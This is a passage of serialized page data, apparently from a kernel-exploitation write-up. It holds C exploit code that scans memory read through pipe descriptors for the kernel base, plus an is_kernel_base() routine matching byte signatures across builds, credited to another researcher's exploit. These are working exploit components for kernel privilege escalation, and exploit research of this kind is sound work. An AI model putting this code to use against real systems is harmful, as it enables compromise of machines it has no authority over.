j",{"type":22,"tag":101,"props":62734,"children":62735},{"style":166},[62736],{"type":27,"value":55265},{"type":22,"tag":101,"props":62738,"children":62739},{"style":120},[62740],{"type":27,"value":2510},{"type":22,"tag":101,"props":62742,"children":62743},{"class":103,"line":1215},[62744],{"type":22,"tag":101,"props":62745,"children":62746},{"style":120},[62747],{"type":27,"value":35655},{"type":22,"tag":101,"props":62749,"children":62750},{"class":103,"line":2425},[62751,62756,62760,62764,62769,62773],{"type":22,"tag":101,"props":62752,"children":62753},{"style":926},[62754],{"type":27,"value":62755}," memset",{"type":22,"tag":101,"props":62757,"children":62758},{"style":120},[62759],{"type":27,"value":980},{"type":22,"tag":101,"props":62761,"children":62762},{"style":166},[62763],{"type":27,"value":985},{"type":22,"tag":101,"props":62765,"children":62766},{"style":120},[62767],{"type":27,"value":62768},"data, ",{"type":22,"tag":101,"props":62770,"children":62771},{"style":1544},[62772],{"type":27,"value":8065},{"type":22,"tag":101,"props":62774,"children":62775},{"style":120},[62776],{"type":27,"value":62777},", PAGE_SIZE);\n",{"type":22,"tag":101,"props":62779,"children":62780},{"class":103,"line":5417},[62781,62786],{"type":22,"tag":101,"props":62782,"children":62783},{"style":108},[62784],{"type":27,"value":62785}," int",{"type":22,"tag":101,"props":62787,"children":62788},{"style":120},[62789],{"type":27,"value":62790}," count;\n",{"type":22,"tag":101,"props":62792,"children":62793},{"class":103,"line":7714},[62794,62799,62804,62808,62813,62817,62822,62827,62831,62835,62839,62844,62848,62852],{"type":22,"tag":101,"props":62795,"children":62796},{"style":3595},[62797],{"type":27,"value":62798}," if",{"type":22,"tag":101,"props":62800,"children":62801},{"style":120},[62802],{"type":27,"value":62803}," (count ",{"type":22,"tag":101,"props":62805,"children":62806},{"style":166},[62807],{"type":27,"value":1511},{"type":22,"tag":101,"props":62809,"children":62810},{"style":926},[62811],{"type":27,"value":62812}," read",{"type":22,"tag":101,"props":62814,"children":62815},{"style":120},[62816],{"type":27,"value":980},{"type":22,"tag":101,"props":62818,"children":62819},{"style":126},[62820],{"type":27,"value":62821},"pfd",{"type":22,"tag":101,"props":62823,"children":62824},{"style":120},[62825],{"type":27,"value":62826},"[j][",{"type":22,"tag":101,"props":62828,"children":62829},{"style":1544},[62830],{"type":27,"value":8065},{"type":22,"tag":101,"props":62832,"children":62833},{"style":120},[62834],{"type":27,"value":27047},{"type":22,"tag":101,"props":62836,"children":62837},{"style":166},[62838],{"type":27,"value":985},{"type":22,"tag":101,"props":62840,"children":62841},{"style":120},[62842],{"type":27,"value":62843},"data, PAGE_SIZE) ",{"type":22,"tag":101,"props":62845,"children":62846},{"style":166},[62847],{"type":27,"value":123},{"type":22,"tag":101,"props":62849,"children":62850},{"style":1544},[62851],{"type":27,"value":1547},{"type":22,"tag":101,"props":62853,"children":62854},{"style":120},[62855],{"type":27,"value":2510},{"type":22,"tag":101,"props":62857,"children":62858},{"class":103,"line":7723},[62859],{"type":22,"tag":101,"props":62860,"children":62861},{"style":120},[62862],{"type":27,"value":35691},{"type":22,"tag":101,"props":62864,"children":62865},{"class":103,"line":7791},[62866,62871],{"type":22,"tag":101,"props":62867,"children":62868},{"style":3595},[62869],{"type":27,"value":62870}," continue",{"type":22,"tag":101,"props":62872,"children":62873},{"style":120},[62874],{"type":27,"value":1520},{"type":22,"tag":101,"props":62876,"children":62877},{"class":103,"line":7799},[62878],{"type":22,"tag":101,"props":62879,"children":62880},{"style":120},[62881],{"type":27,"value":62882}," }\n",{"type":22,"tag":101,"props":62884,"children":62885},{"class":103,"line":7829},[62886],{"type":22,"tag":101,"props":62887,"children":62888},{"style":120},[62889],{"type":27,"value":14324},{"type":22,"tag":101,"props":62891,"children":62892},{"class":103,"line":7837},[62893],{"type":22,"tag":101,"props":62894,"children":62895},{"emptyLinePlaceholder":15},[62896],{"type":27,"value":1581},{"type":22,"tag":101,"props":62898,"children":62899},{"class":103,"line":7868},[62900,62905,62910,62914,62918],{"type":22,"tag":101,"props":62901,"children":62902},{"style":120},[62903],{"type":27,"value":62904}," if (",{"type":22,"tag":101,"props":62906,"children":62907},{"style":114},[62908],{"type":27,"value":62909},"is_kernel_base",{"type":22,"tag":101,"props":62911,"children":62912},{"style":120},[62913],{"type":27,"value":980},{"type":22,"tag":101,"props":62915,"children":62916},{"style":114},[62917],{"type":27,"value":7738},{"type":22,"tag":101,"props":62919,"children":62920},{"style":120},[62921],{"type":27,"value":62922},")) // [1] identify kernel base\n",{"type":22,"tag":101,"props":62924,"children":62925},{"class":103,"line":7876},[62926],{"type":22,"tag":101,"props":62927,"children":62928},{"style":120},[62929],{"type":27,"value":35691},{"type":22,"tag":101,"props":62931,"children":62932},{"class":103,"line":7936},[62933,62938,62942,62946],{"type":22,"tag":101,"props":62934,"children":62935},{"style":120},[62936],{"type":27,"value":62937}," found ",{"type":22,"tag":101,"props":62939,"children":62940},{"style":166},[62941],{"type":27,"value":1511},{"type":22,"tag":101,"props":62943,"children":62944},{"style":108},[62945],{"type":27,"value":16473},{"type":22,"tag":101,"props":62947,"children":62948},{"style":120},[62949],{"type":27,"value":1520},{"type":22,"tag":101,"props":62951,"children":62952},{"class":103,"line":13054},[62953,62958],{"type":22,"tag":101,"props":62954,"children":62955},{"style":3595},[62956],{"type":27,"value":62957}," break",{"type":22,"tag":101,"props":62959,"children":62960},{"style":120},[62961],{"type":27,"value":1520},{"type":22,"tag":101,"props":62963,"children":62964},{"class":103,"line":13072},[62965],{"type":22,"tag":101,"props":62966,"children":62967},{"style":120},[62968],{"type":27,"value":62882},{"type":22,"tag":101,"props":62970,"children":62971},{"class":103,"line":13117},[62972],{"type":22,"tag":101,"props":62973,"children":62974},{"style":120},[62975],{"type":27,"value":2398},{"type":22,"tag":101,"props":62977,"children":62978},{"class":103,"line":13223},[62979],{"type":22,"tag":101,"props":62980,"children":62981},{"emptyLinePlaceholder":15},[62982],{"type":27,"value":1581},{"type":22,"tag":101,"props":62984,"children":62985},{"class":103,"line":27496},[62986],{"type":22,"tag":101,"props":62987,"children":62988},{"style":120},[62989],{"type":27,"value":14324},{"type":22,"tag":23,"props":62991,"children":62992},{},[62993,62995,62999,63001,63007,63009,63013],{"type":27,"value":62994},"Notice that at ",{"type":22,"tag":101,"props":62996,"children":62997},{},[62998],{"type":27,"value":6813},{"type":27,"value":63000}," we call the ",{"type":22,"tag":30,"props":63002,"children":63004},{"className":63003},[],[63005],{"type":27,"value":63006},"is_kernel_base()",{"type":27,"value":63008}," function. This is a function based on lau's exploit ",{"type":22,"tag":101,"props":63010,"children":63011},{},[63012],{"type":27,"value":22107},{"type":27,"value":63014}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":22,"tag":91,"props":63016,"children":63018},{"className":33109,"code":63017,"language":33111,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[63019],{"type":22,"tag":30,"props":63020,"children":63021},{"__ignoreMap":7},[63022,63029,63059,63066,63074,63081,63089,63160,63222,63237,63244,63252,63320,63382,63443,63504,63566,63628,63689,63750,63811,63872,63933,63948,63955,63970,63977],{"type":22,"tag":101,"props":63023,"children":63024},{"class":103,"line":104},[63025],{"type":22,"tag":101,"props":63026,"children":63027},{"style":120},[63028],{"type":27,"value":14324},{"type":22,"tag":101,"props":63030,"children":63031},{"class":103,"line":157},[63032,63037,63042,63047,63051,63055],{"type":22,"tag":101,"props":63033,"children":63034},{"style":120},[63035],{"type":27,"value":63036},"static bool is_kernel_base(",{"type":22,"tag":101,"props":63038,"children":63039},{"style":108},[63040],{"type":27,"value":63041},"unsigned",{"type":22,"tag":101,"props":63043,"children":63044},{"style":108},[63045],{"type":27,"value":63046}," char",{"type":22,"tag":101,"props":63048,"children":63049},{"style":108},[63050],{"type":27,"value":13822},{"type":22,"tag":101,"props":63052,"children":63053},{"style":126},[63054],{"type":27,"value":34682},{"type":22,"tag":101,"props":63056,"children":63057},{"style":120},[63058],{"type":27,"value":2510},{"type":22,"tag":101,"props":63060,"children":63061},{"class":103,"line":182},[63062],{"type":22,"tag":101,"props":63063,"children":63064},{"style":120},[63065],{"type":27,"value":14886},{"type":22,"tag":101,"props":63067,"children":63068},{"class":103,"line":367},[63069],{"type":22,"tag":101,"props":63070,"children":63071},{"style":2215},[63072],{"type":27,"value":63073}," // thanks lau :)\n",{"type":22,"tag":101,"props":63075,"children":63076},{"class":103,"line":398},[63077],{"type":22,"tag":101,"props":63078,"children":63079},{"emptyLinePlaceholder":15},[63080],{"type":27,"value":1581},{"type":22,"tag":101,"props":63082,"children":63083},{"class":103,"line":428},[63084],{"type":22,"tag":101,"props":63085,"children":63086},{"style":2215},[63087],{"type":27,"value":63088}," // get-sig kernel_runtime_1\n",{"type":22,"tag":101,"props":63090,"children":63091},{"class":103,"line":997},[63092,63096,63100,63105,63110,63114,63119,63123,63127,63132,63136,63140,63144,63148,63152,63156],{"type":22,"tag":101,"props":63093,"children":63094},{"style":3595},[63095],{"type":27,"value":16283},{"type":22,"tag":101,"props":63097,"children":63098},{"style":120},[63099],{"type":27,"value":3603},{"type":22,"tag":101,"props":63101,"children":63102},{"style":926},[63103],{"type":27,"value":63104},"memcmp",{"type":22,"tag":101,"props":63106,"children":63107},{"style":120},[63108],{"type":27,"value":63109},"(addr ",{"type":22,"tag":101,"props":63111,"children":63112},{"style":166},[63113],{"type":27,"value":8426},{"type":22,"tag":101,"props":63115,"children":63116},{"style":1544},[63117],{"type":27,"value":63118}," 0x0",{"type":22,"tag":101,"props":63120,"children":63121},{"style":120},[63122],{"type":27,"value":758},{"type":22,"tag":101,"props":63124,"children":63125},{"style":6476},[63126],{"type":27,"value":24051},{"type":22,"tag":101,"props":63128,"children":63129},{"style":52370},[63130],{"type":27,"value":63131},"\\x48\\x8d\\x25\\x51\\x3f",{"type":22,"tag":101,"props":63133,"children":63134},{"style":6476},[63135],{"type":27,"value":24051},{"type":22,"tag":101,"props":63137,"children":63138},{"style":120},[63139],{"type":27,"value":758},{"type":22,"tag":101,"props":63141,"children":63142},{"style":1544},[63143],{"type":27,"value":22107},{"type":22,"tag":101,"props":63145,"children":63146},{"style":120},[63147],{"type":27,"value":901},{"type":22,"tag":101,"props":63149,"children":63150},{"style":166},[63151],{"type":27,"value":4340},{"type":22,"tag":101,"props":63153,"children":63154},{"style":1544},[63155],{"type":27,"value":1547},{"type":22,"tag":101,"props":63157,"children":63158},{"style":166},[63159],{"type":27,"value":56680},{"type":22,"tag":101,"props":63161,"children":63162},{"class":103,"line":1032},[63163,63168,63172,63176,63181,63185,63189,63194,63198,63202,63206,63210,63214,63218],{"type":22,"tag":101,"props":63164,"children":63165},{"style":926},[63166],{"type":27,"value":63167}," memcmp",{"type":22,"tag":101,"props":63169,"children":63170},{"style":120},[63171],{"type":27,"value":63109},{"type":22,"tag":101,"props":63173,"children":63174},{"style":166},[63175],{"type":27,"value":8426},{"type":22,"tag":101,"props":63177,"children":63178},{"style":1544},[63179],{"type":27,"value":63180}," 0x7",{"type":22,"tag":101,"props":63182,"children":63183},{"style":120},[63184],{"type":27,"value":758},{"type":22,"tag":101,"props":63186,"children":63187},{"style":6476},[63188],{"type":27,"value":24051},{"type":22,"tag":101,"props":63190,"children":63191},{"style":52370},[63192],{"type":27,"value":63193},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":22,"tag":101,"props":63195,"children":63196},{"style":6476},[63197],{"type":27,"value":24051},{"type":22,"tag":101,"props":63199,"children":63200},{"style":120},[63201],{"type":27,"value":758},{"type":22,"tag":101,"props":63203,"children":63204},{"style":1544},[63205],{"type":27,"value":58667},{"type":22,"tag":101,"props":63207,"children":63208},{"style":120},[63209],{"type":27,"value":901},{"type":22,"tag":101,"props":63211,"children":63212},{"style":166},[63213],{"type":27,"value":4340},{"type":22,"tag":101,"props":63215,"children":63216},{"style":1544},[63217],{"type":27,"value":1547},{"type":22,"tag":101,"props":63219,"children":63220},{"style":120},[63221],{"type":27,"value":2510},{"type":22,"tag":101,"props":63223,"children":63224},{"class":103,"line":1063},[63225,63229,63233],{"type":22,"tag":101,"props":63226,"children":63227},{"style":3595},[63228],{"type":27,"value":19742},{"type":22,"tag":101,"props":63230,"children":63231},{"style":108},[63232],{"type":27,"value":16473},{"type":22,"tag":101,"props":63234,"children":63235},{"style":120},[63236],{"type":27,"value":1520},{"type":22,"tag":101,"props":63238,"children":63239},{"class":103,"line":1071},[63240],{"type":22,"tag":101,"props":63241,"children":63242},{"emptyLinePlaceholder":15},[63243],{"type":27,"value":1581},{"type":22,"tag":101,"props":63245,"children":63246},{"class":103,"line":1110},[63247],{"type":22,"tag":101,"props":63248,"children":63249},{"style":2215},[63250],{"type":27,"value":63251}," // get-sig kernel_runtime_2\n",{"type":22,"tag":101,"props":63253,"children":63254},{"class":103,"line":1118},[63255,63259,63263,63267,63271,63275,63279,63283,63287,63292,63296,63300,63304,63308,63312,63316],{"type":22,"tag":101,"props":63256,"children":63257},{"style":3595},[63258],{"type":27,"value":16283},{"type":22,"tag":101,"props":63260,"children":63261},{"style":120},[63262],{"type":27,"value":3603},{"type":22,"tag":101,"props":63264,"children":63265},{"style":926},[63266],{"type":27,"value":63104},{"type":22,"tag":101,"props":63268,"children":63269},{"style":120},[63270],{"type":27,"value":63109},{"type":22,"tag":101,"props":63272,"children":63273},{"style":166},[63274],{"type":27,"value":8426},{"type":22,"tag":101,"props":63276,"children":63277},{"style":1544},[63278],{"type":27,"value":63118},{"type":22,"tag":101,"props":63280,"children":63281},{"style":120},[63282],{"type":27,"value":758},{"type":22,"tag":101,"props":63284,"children":63285},{"style":6476},[63286],{"type":27,"value":24051},{"type":22,"tag":101,"props":63288,"children":63289},{"style":52370},[63290],{"type":27,"value":63291},"\\xfc\\x0f\\x01\\x15",{"type":22,"tag":101,"props":63293,"children":63294},{"style":6476},[63295],{"type":27,"value":24051},{"type":22,"tag":101,"props":63297,"children":63298},{"style":120},[63299],{"type":27,"value":758},{"type":22,"tag":101,"props":63301,"children":63302},{"style":1544},[63303],{"type":27,"value":21526},{"type":22,"tag":101,"props":63305,"children":63306},{"style":120},[63307],{"type":27,"value":901},{"type":22,"tag":101,"props":63309,"children":63310},{"style":166},[63311],{"type":27,"value":4340},{"type":22,"tag":101,"props":63313,"children":63314},{"style":1544},[63315],{"type":27,"value":1547},{"type":22,"tag":101,"props":63317,"children":63318},{"style":166},[63319],{"type":27,"value":56680},{"type":22,"tag":101,"props":63321,"children":63322},{"class":103,"line":1158},[63323,63327,63331,63335,63340,63344,63348,63353,63357,63361,63366,63370,63374,63378],{"type":22,"tag":101,"props":63324,"children":63325},{"style":926},[63326],{"type":27,"value":63167},{"type":22,"tag":101,"props":63328,"children":63329},{"style":120},[63330],{"type":27,"value":63109},{"type":22,"tag":101,"props":63332,"children":63333},{"style":166},[63334],{"type":27,"value":8426},{"type":22,"tag":101,"props":63336,"children":63337},{"style":1544},[63338],{"type":27,"value":63339}," 0x8",{"type":22,"tag":101,"props":63341,"children":63342},{"style":120},[63343],{"type":27,"value":758},{"type":22,"tag":101,"props":63345,"children":63346},{"style":6476},[63347],{"type":27,"value":24051},{"type":22,"tag":101,"props":63349,"children":63350},{"style":52370},[63351],{"type":27,"value":63352},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":22,"tag":101,"props":63354,"children":63355},{"style":6476},[63356],{"type":27,"value":24051},{"type":22,"tag":101,"props":63358,"children":63359},{"style":120},[63360],{"type":27,"value":758},{"type":22,"tag":101,"props":63362,"children":63363},{"style":1544},[63364],{"type":27,"value":63365},"12",{"type":22,"tag":101,"props":63367,"children":63368},{"style":120},[63369],{"type":27,"value":901},{"type":22,"tag":101,"props":63371,"children":63372},{"style":166},[63373],{"type":27,"value":4340},{"type":22,"tag":101,"props":63375,"children":63376},{"style":1544},[63377],{"type":27,"value":1547},{"type":22,"tag":101,"props":63379,"children":63380},{"style":166},[63381],{"type":27,"value":56680},{"type":22,"tag":101,"props":63383,"children":63384},{"class":103,"line":1166},[63385,63389,63393,63397,63402,63406,63410,63415,63419,63423,63427,63431,63435,63439],{"type":22,"tag":101,"props":63386,"children":63387},{"style":926},[63388],{"type":27,"value":63167},{"type":22,"tag":101,"props":63390,"children":63391},{"style":120},[63392],{"type":27,"value":63109},{"type":22,"tag":101,"props":63394,"children":63395},{"style":166},[63396],{"type":27,"value":8426},{"type":22,"tag":101,"props":63398,"children":63399},{"style":1544},[63400],{"type":27,"value":63401}," 0x18",{"type":22,"tag":101,"props":63403,"children":63404},{"style":120},[63405],{"type":27,"value":758},{"type":22,"tag":101,"props":63407,"children":63408},{"style":6476},[63409],{"type":27,"value":24051},{"type":22,"tag":101,"props":63411,"children":63412},{"style":52370},[63413],{"type":27,"value":63414},"\\x89\\xde\\x8b\\x0d",{"type":22,"tag":101,"props":63416,"children":63417},{"style":6476},[63418],{"type":27,"value":24051},{"type":22,"tag":101,"props":63420,"children":63421},{"style":120},[63422],{"type":27,"value":758},{"type":22,"tag":101,"props":63424,"children":63425},{"style":1544},[63426],{"type":27,"value":21526},{"type":22,"tag":101,"props":63428,"children":63429},{"style":120},[63430],{"type":27,"value":901},{"type":22,"tag":101,"props":63432,"children":63433},{"style":166},[63434],{"type":27,"value":4340},{"type":22,"tag":101,"props":63436,"children":63437},{"style":1544},[63438],{"type":27,"value":1547},{"type":22,"tag":101,"props":63440,"children":63441},{"style":166},[63442],{"type":27,"value":56680},{"type":22,"tag":101,"props":63444,"children":63445},{"class":103,"line":1215},[63446,63450,63454,63458,63463,63467,63471,63476,63480,63484,63488,63492,63496,63500],{"type":22,"tag":101,"props":63447,"children":63448},{"style":926},[63449],{"type":27,"value":63167},{"type":22,"tag":101,"props":63451,"children":63452},{"style":120},[63453],{"type":27,"value":63109},{"type":22,"tag":101,"props":63455,"children":63456},{"style":166},[63457],{"type":27,"value":8426},{"type":22,"tag":101,"props":63459,"children":63460},{"style":1544},[63461],{"type":27,"value":63462}," 0x20",{"type":22,"tag":101,"props":63464,"children":63465},{"style":120},[63466],{"type":27,"value":758},{"type":22,"tag":101,"props":63468,"children":63469},{"style":6476},[63470],{"type":27,"value":24051},{"type":22,"tag":101,"props":63472,"children":63473},{"style":52370},[63474],{"type":27,"value":63475},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":22,"tag":101,"props":63477,"children":63478},{"style":6476},[63479],{"type":27,"value":24051},{"type":22,"tag":101,"props":63481,"children":63482},{"style":120},[63483],{"type":27,"value":758},{"type":22,"tag":101,"props":63485,"children":63486},{"style":1544},[63487],{"type":27,"value":22418},{"type":22,"tag":101,"props":63489,"children":63490},{"style":120},[63491],{"type":27,"value":901},{"type":22,"tag":101,"props":63493,"children":63494},{"style":166},[63495],{"type":27,"value":4340},{"type":22,"tag":101,"props":63497,"children":63498},{"style":1544},[63499],{"type":27,"value":1547},{"type":22,"tag":101,"props":63501,"children":63502},{"style":166},[63503],{"type":27,"value":56680},{"type":22,"tag":101,"props":63505,"children":63506},{"class":103,"line":2425},[63507,63511,63515,63519,63524,63528,63532,63537,63541,63545,63550,63554,63558,63562],{"type":22,"tag":101,"props":63508,"children":63509},{"style":926},[63510],{"type":27,"value":63167},{"type":22,"tag":101,"props":63512,"children":63513},{"style":120},[63514],{"type":27,"value":63109},{"type":22,"tag":101,"props":63516,"children":63517},{"style":166},[63518],{"type":27,"value":8426},{"type":22,"tag":101,"props":63520,"children":63521},{"style":1544},[63522],{"type":27,"value":63523}," 0x2a",{"type":22,"tag":101,"props":63525,"children":63526},{"style":120},[63527],{"type":27,"value":758},{"type":22,"tag":101,"props":63529,"children":63530},{"style":6476},[63531],{"type":27,"value":24051},{"type":22,"tag":101,"props":63533,"children":63534},{"style":52370},[63535],{"type":27,"value":63536},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":22,"tag":101,"props":63538,"children":63539},{"style":6476},[63540],{"type":27,"value":24051},{"type":22,"tag":101,"props":63542,"children":63543},{"style":120},[63544],{"type":27,"value":758},{"type":22,"tag":101,"props":63546,"children":63547},{"style":1544},[63548],{"type":27,"value":63549},"24",{"type":22,"tag":101,"props":63551,"children":63552},{"style":120},[63553],{"type":27,"value":901},{"type":22,"tag":101,"props":63555,"children":63556},{"style":166},[63557],{"type":27,"value":4340},{"type":22,"tag":101,"props":63559,"children":63560},{"style":1544},[63561],{"type":27,"value":1547},{"type":22,"tag":101,"props":63563,"children":63564},{"style":166},[63565],{"type":27,"value":56680},{"type":22,"tag":101,"props":63567,"children":63568},{"class":103,"line":5417},[63569,63573,63577,63581,63586,63590,63594,63599,63603,63607,63612,63616,63620,63624],{"type":22,"tag":101,"props":63570,"children":63571},{"style":926},[63572],{"type":27,"value":63167},{"type":22,"tag":101,"props":63574,"children":63575},{"style":120},[63576],{"type":27,"value":63109},{"type":22,"tag":101,"props":63578,"children":63579},{"style":166},[63580],{"type":27,"value":8426},{"type":22,"tag":101,"props":63582,"children":63583},{"style":1544},[63584],{"type":27,"value":63585}," 0x45",{"type":22,"tag":101,"props":63587,"children":63588},{"style":120},[63589],{"type":27,"value":758},{"type":22,"tag":101,"props":63591,"children":63592},{"style":6476},[63593],{"type":27,"value":24051},{"type":22,"tag":101,"props":63595,"children":63596},{"style":52370},[63597],{"type":27,"value":63598},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":22,"tag":101,"props":63600,"children":63601},{"style":6476},[63602],{"type":27,"value":24051},{"type":22,"tag":101,"props":63604,"children":63605},{"style":120},[63606],{"type":27,"value":758},{"type":22,"tag":101,"props":63608,"children":63609},{"style":1544},[63610],{"type":27,"value":63611},"15",{"type":22,"tag":101,"props":63613,"children":63614},{"style":120},[63615],{"type":27,"value":901},{"type":22,"tag":101,"props":63617,"children":63618},{"style":166},[63619],{"type":27,"value":4340},{"type":22,"tag":101,"props":63621,"children":63622},{"style":1544},[63623],{"type":27,"value":1547},{"type":22,"tag":101,"props":63625,"children":63626},{"style":166},[63627],{"type":27,"value":56680},{"type":22,"tag":101,"props":63629,"children":63630},{"class":103,"line":7714},[63631,63635,63639,63643,63648,63652,63656,63661,63665,63669,63673,63677,63681,63685],{"type":22,"tag":101,"props":63632,"children":63633},{"style":926},[63634],{"type":27,"value":63167},{"type":22,"tag":101,"props":63636,"children":63637},{"style":120},[63638],{"type":27,"value":63109},{"type":22,"tag":101,"props":63640,"children":63641},{"style":166},[63642],{"type":27,"value":8426},{"type":22,"tag":101,"props":63644,"children":63645},{"style":1544},[63646],{"type":27,"value":63647}," 0x55",{"type":22,"tag":101,"props":63649,"children":63650},{"style":120},[63651],{"type":27,"value":758},{"type":22,"tag":101,"props":63653,"children":63654},{"style":6476},[63655],{"type":27,"value":24051},{"type":22,"tag":101,"props":63657,"children":63658},{"style":52370},[63659],{"type":27,"value":63660},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":22,"tag":101,"props":63662,"children":63663},{"style":6476},[63664],{"type":27,"value":24051},{"type":22,"tag":101,"props":63666,"children":63667},{"style":120},[63668],{"type":27,"value":758},{"type":22,"tag":101,"props":63670,"children":63671},{"style":1544},[63672],{"type":27,"value":8119},{"type":22,"tag":101,"props":63674,"children":63675},{"style":120},[63676],{"type":27,"value":901},{"type":22,"tag":101,"props":63678,"children":63679},{"style":166},[63680],{"type":27,"value":4340},{"type":22,"tag":101,"props":63682,"children":63683},{"style":1544},[63684],{"type":27,"value":1547},{"type":22,"tag":101,"props":63686,"children":63687},{"style":166},[63688],{"type":27,"value":56680},{"type":22,"tag":101,"props":63690,"children":63691},{"class":103,"line":7723},[63692,63696,63700,63704,63709,63713,63717,63722,63726,63730,63734,63738,63742,63746],{"type":22,"tag":101,"props":63693,"children":63694},{"style":926},[63695],{"type":27,"value":63167},{"type":22,"tag":101,"props":63697,"children":63698},{"style":120},[63699],{"type":27,"value":63109},{"type":22,"tag":101,"props":63701,"children":63702},{"style":166},[63703],{"type":27,"value":8426},{"type":22,"tag":101,"props":63705,"children":63706},{"style":1544},[63707],{"type":27,"value":63708}," 0x61",{"type":22,"tag":101,"props":63710,"children":63711},{"style":120},[63712],{"type":27,"value":758},{"type":22,"tag":101,"props":63714,"children":63715},{"style":6476},[63716],{"type":27,"value":24051},{"type":22,"tag":101,"props":63718,"children":63719},{"style":52370},[63720],{"type":27,"value":63721},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":22,"tag":101,"props":63723,"children":63724},{"style":6476},[63725],{"type":27,"value":24051},{"type":22,"tag":101,"props":63727,"children":63728},{"style":120},[63729],{"type":27,"value":758},{"type":22,"tag":101,"props":63731,"children":63732},{"style":1544},[63733],{"type":27,"value":22107},{"type":22,"tag":101,"props":63735,"children":63736},{"style":120},[63737],{"type":27,"value":901},{"type":22,"tag":101,"props":63739,"children":63740},{"style":166},[63741],{"type":27,"value":4340},{"type":22,"tag":101,"props":63743,"children":63744},{"style":1544},[63745],{"type":27,"value":1547},{"type":22,"tag":101,"props":63747,"children":63748},{"style":166},[63749],{"type":27,"value":56680},{"type":22,"tag":101,"props":63751,"children":63752},{"class":103,"line":7791},[63753,63757,63761,63765,63770,63774,63778,63783,63787,63791,63795,63799,63803,63807],{"type":22,"tag":101,"props":63754,"children":63755},{"style":926},[63756],{"type":27,"value":63167},{"type":22,"tag":101,"props":63758,"children":63759},{"style":120},[63760],{"type":27,"value":63109},{"type":22,"tag":101,"props":63762,"children":63763},{"style":166},[63764],{"type":27,"value":8426},{"type":22,"tag":101,"props":63766,"children":63767},{"style":1544},[63768],{"type":27,"value":63769}," 0x6a",{"type":22,"tag":101,"props":63771,"children":63772},{"style":120},[63773],{"type":27,"value":758},{"type":22,"tag":101,"props":63775,"children":63776},{"style":6476},[63777],{"type":27,"value":24051},{"type":22,"tag":101,"props":63779,"children":63780},{"style":52370},[63781],{"type":27,"value":63782},"\\x48\\xc7\\xc6",{"type":22,"tag":101,"props":63784,"children":63785},{"style":6476},[63786],{"type":27,"value":24051},{"type":22,"tag":101,"props":63788,"children":63789},{"style":120},[63790],{"type":27,"value":758},{"type":22,"tag":101,"props":63792,"children":63793},{"style":1544},[63794],{"type":27,"value":21293},{"type":22,"tag":101,"props":63796,"children":63797},{"style":120},[63798],{"type":27,"value":901},{"type":22,"tag":101,"props":63800,"children":63801},{"style":166},[63802],{"type":27,"value":4340},{"type":22,"tag":101,"props":63804,"children":63805},{"style":1544},[63806],{"type":27,"value":1547},{"type":22,"tag":101,"props":63808,"children":63809},{"style":166},[63810],{"type":27,"value":56680},{"type":22,"tag":101,"props":63812,"children":63813},{"class":103,"line":7799},[63814,63818,63822,63826,63831,63835,63839,63844,63848,63852,63856,63860,63864,63868],{"type":22,"tag":101,"props":63815,"children":63816},{"style":926},[63817],{"type":27,"value":63167},{"type":22,"tag":101,"props":63819,"children":63820},{"style":120},[63821],{"type":27,"value":63109},{"type":22,"tag":101,"props":63823,"children":63824},{"style":166},[63825],{"type":27,"value":8426},{"type":22,"tag":101,"props":63827,"children":63828},{"style":1544},[63829],{"type":27,"value":63830}," 